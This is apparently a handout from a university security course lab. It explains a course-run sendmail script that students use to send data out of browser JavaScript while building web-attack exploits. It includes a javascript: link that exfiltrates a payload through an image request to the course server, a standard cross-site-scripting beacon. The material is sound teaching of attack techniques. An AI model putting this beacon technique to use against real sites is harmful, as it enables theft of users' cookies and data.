You can use this server side script to send automated emails from client-side JavaScript. For example, clicking this client-side hyperlink will cause an email to be sent by our web server (pdos.csail.mit.edu). Another copy of the email always goes to 6.893-sendmail@pdos.csail.mit.edu so that we can monitor abuse and you can receive credit for your work. (Don't worry about spamming our account while you test out your exploits; we will ignore mail to that address until we actually grade your submissions.)
javascript:void((new Image()).src='http://pdos.csail.mit.edu/6.893/2009/labs/lab3/sendmail.php?' + 'to=youremailhere@mit.edu' + '&payload=xyz' + '&random=' + Math.random());
The random argument is ignored, but ensures that the browser
bypasses its cache when downloading the image. We suggest that you use
the random argument in your scripts as well. Newlines are not allowed
in javascript: links; if this bothers you, try
URL encoding.
The void(...);
construct prevents the browser from
navigating to a new page consisting of the contents
of the expression (which is what it normally does when it encounters a
non-void expression like javascript:2+2
).
If you just want to try out the script, you can use this form. (For the programming project, you'll probably want to use the JavaScript image technique shown above.)